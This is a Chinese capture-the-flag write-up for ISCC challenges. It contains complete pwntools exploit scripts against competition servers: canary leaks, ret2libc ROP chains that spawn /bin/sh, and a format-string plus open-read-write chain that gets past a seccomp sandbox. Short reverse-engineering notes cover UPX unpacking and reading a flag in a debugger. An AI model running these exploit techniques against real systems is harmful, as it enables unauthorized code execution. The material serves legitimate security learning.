pwn 签 开了canary,可以用printf泄露canary后面直接打libc就好了
libc:libc database search
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from pwn import *context(arch = 'i386' ,os = 'linux' ,log_level = 'debug' ) io=remote('101.200.155.151' ,12400 ) elf = ELF('./pwn' ) libc = ELF('./1.so' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.sym['main' ] io.recvuntil('name?\n' ) io.sendline(b'a' *0x40 ) io.recvuntil('a' *0x40 ) canary=u32(io.recv(4 ))-0xa print (hex (canary))payload = b'a' *0x40 + p32(canary) + b'a' *0xC + p32(puts_plt)+p32(main)+p32(puts_got) io.recvuntil(b'?\n' ) io.send(payload) io.recvuntil(b'\n' ) puts_addr=u32(io.recvuntil(b'\xf7' )[-4 :]) print (hex (puts_addr))libc_base=puts_addr - libc.sym['puts' ] system = libc_base + libc.sym['system' ] bin_sh = libc_base + next (libc.search(b'/bin/sh' )) io.recvuntil('name?\n' ) io.sendline(b'a' *0x40 ) io.recvuntil('a' *0x40 ) canary=u32(io.recv(4 ))-0xa print (hex (canary))payload = b'a' *0x40 + p32(canary) + b'a' *0xC + p32(system) + p32(0 ) + p32(bin_sh) io.send(payload) io.interactive()
key 给了libc开了canary和nx
首先要让key变为520,然后漏洞函数和上一题逻辑一样,这里没搞懂是怎么改变prt的
fg
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 unsigned __int64 fg () { _BYTE *v0; int v2; void *ptr; void *v4; unsigned __int64 v5; v5 = __readfsqword(0x28 u); if ( key != 520 ) { ptr = malloc (0x64 uLL); if ( !ptr ) { perror("malloc failed" ); exit (1 ); } v0 = ptr; *ptr = 'galf' ; v0[4 ] = 0 ; free (ptr); puts ("size:" ); if ( __isoc99_scanf("%d" , &v2) != 1 || v2 <= 0 || v2 > 1024 ) { fwrite("Invalid size\n" , 1uLL , 0xD uLL, stderr ); exit (1 ); } getchar(); v4 = malloc (v2); if ( !v4 ) { perror("malloc failed" ); exit (1 ); } puts ("flag:" ); __isoc99_scanf("%s" , v4); getchar(); if ( !strncmp (ptr, "flag" , 4uLL ) ) key = 520 ; free (v4); } return __readfsqword(0x28 u) ^ v5; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=remote('101.200.155.151' ,12200 ) elf = ELF('./pwn' ) libc = ELF('./libc.so' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = elf.sym['main' ] pop_rdi=0x4014c3 ret=0x000000000040101a io.sendlineafter(b'size:' ,b'100' ) io.sendlineafter(b'flag:' ,b'flag' ) io.recvuntil(b'welcome to ISCC' ) io.sendline(b'a' *0x18 ) io.recvuntil(b'a' *0x18 ) canary=u64(io.recv(8 ))-0xa print (hex (canary))payload=b'a' *0x18 +p64(canary)+p64(0 )+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendlineafter(b'you' ,payload) io.recvuntil(b'you too!' ) puts_addrs=u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) success(hex (puts_addrs)) libc_base=puts_addrs-libc.sym['puts' ] system=libc_base + libc.sym['system' ] bin_sh=libc_base + next (libc.search(b'/bin/sh' )) io.recvuntil(b'welcome to ISCC' ) io.sendline(b'a' *0x18 ) io.recvuntil(b'a' *0x18 ) canary=u64(io.recv(8 ))-0xa print (hex (canary))payload=b'a' *0x18 +p64(canary)+p64(0 )+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system) io.sendlineafter(b'you' ,payload) io.interactive()
genius 和初赛前两题做法类似覆盖canary最后一位用printf输出,有后门函数直接gets栈溢出控制执行流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) io=remote('101.200.155.151' ,12000 ) elf = ELF('./pwn' ) backdoor = 0x4011A6 ret = 0x40101a io.sendline(b'no' ) sleep(1 ) io.sendline(b'thanks' ) sleep(1 ) io.recvuntil(b"in init" ) io.sendline(b'a' *0x18 ) io.recvuntil(b'a' *0x18 ) canary=u64(io.recv(8 ))-0xa print (hex (canary))io.recvuntil(b'you' ) payload = b'a' *0x18 +p64(canary)+p64(0 )+p64(ret)+p64(backdoor) io.send(payload) io.interactive()
Dilemma check
1 2 3 4 5 6 7 8 9 10 桌面$ checksec pwn [*] '/home/pwn/桌面/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
存在格式化字符串漏洞开了沙箱禁用了execve
case1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 unsigned __int64 func_1 () { char buf[40 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); if ( HP ) { puts ("Enter you password:" ); read(0 , buf, 0x30 uLL); printf (buf); if ( MP == 1 ) { puts ("I will check your password:" ); read(0 , buf, 0x50 uLL); MP = 0 ; HP = 0 ; } else { puts ("You are dead!" ); } HP = 0 ; MP = 0 ; } else { puts ("Here, all is void and still" ); } return v2 - __readfsqword(0x28 u); }
case2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 unsigned __int64 func_0 () { char buf[40 ]; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("We have a lot to talk about" ); read(0 , buf, 0x100 uLL); if ( !HP && LP == 1 ) { puts ("To find life in the face of death" ); printf (buf); LP = 0 ; } return v2 - __readfsqword(0x28 u); }
可以先选择case1用第一次read泄露出canary和libc,第二次read其实可以不用,此时HP=0 MP=0 LP=1,选择case2 执行orw泄露出flag。
Libc:libc database search
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import *context(arch='amd64' ,log_level='debug' ,os='linux' ) io = remote('101.200.155.151' ,12500 ) elf = ELF('./pwn' ) libc = ELF('./1.so' ) bss = 0x404000 + 0x900 pop_rdi = 0x40119a ret = 0x40101a pop_rsi_r15 = 0x40119c again = 0x4012BA io.recvuntil("you go?\n" ) io.sendline("1" ) io.recvuntil("you password:\n" ) payload = b'%39$p%11$p' io.sendline(payload) io.recvuntil("0x" ) libc_start = int (io.recv(12 ),16 ) - 128 libc_base = libc_start- libc.sym['__libc_start_main' ] io.recvuntil("0x" ) canary = int (io.recv(16 ),16 ) io.recvuntil("I will check your password:" ) io.send("a" *8 ) io.recvuntil("where are you go?\n" ) io.sendline("2" ) io.recvuntil("We have a lot to talk about\n" ) payload = b'a' *0x28 + p64(canary) + p64(bss+0x30 ) + p64(0x4011C9 ) io.send(payload) io.recvuntil(b"a" *0x28 ) pop_rdx_r12 = 0x11f2e7 + libc_base open = libc_base + libc.sym['open' ]read = libc_base + libc.sym['read' ] write = libc_base + libc.sym['write' ] payload = b'./flag.txt' payload = payload2.ljust(0x28 ,b'\x00' ) + p64(canary) + p64(0 ) + p64(pop_rdi) + p64(bss) + p64(pop_rsi_r15) + p64(0 ) + p64(0 ) + p64(open ) payload += p64(pop_rdi) + p64(3 ) + p64(pop_rsi_r15) + p64(bss+0x200 ) + p64(0 ) + p64(pop_rdx_r12) + p64(0x50 ) + p64(0 ) + p64(read) payload += p64(pop_rdi) + p64(1 ) + p64(pop_rsi_r15) + p64(bss+0x200 ) + p64(0 ) + p64(pop_rdx_r12) + p64(0x50 ) + p64(0 ) + p64(write) io.send(payload) io.interactive()
逆向 faze 程序用于生成一个flag并将其存在v9中if ( (unsigned __int8)std::operator==<char>(v8, v9) )
处检查v8输入值与v9中存储的flag是否一致,故在该处下断点动调v9值即为flag
SP upx脱壳
在upx的文件路径下打开cmd
1 upx -d "E:\question bank\国内赛\iscc\attachment-9\sp36.exe"
去壳后IDA打开找到main函数在该处下断点
调试器选择Local Windows debugger在调试器中选择源码级调试
运行后随便输点东西,回车
回到main函数找到V13双击点进去按两下d得到flag
零宽字符隐写网站:https://yuanfux.github.io/zero-width-web/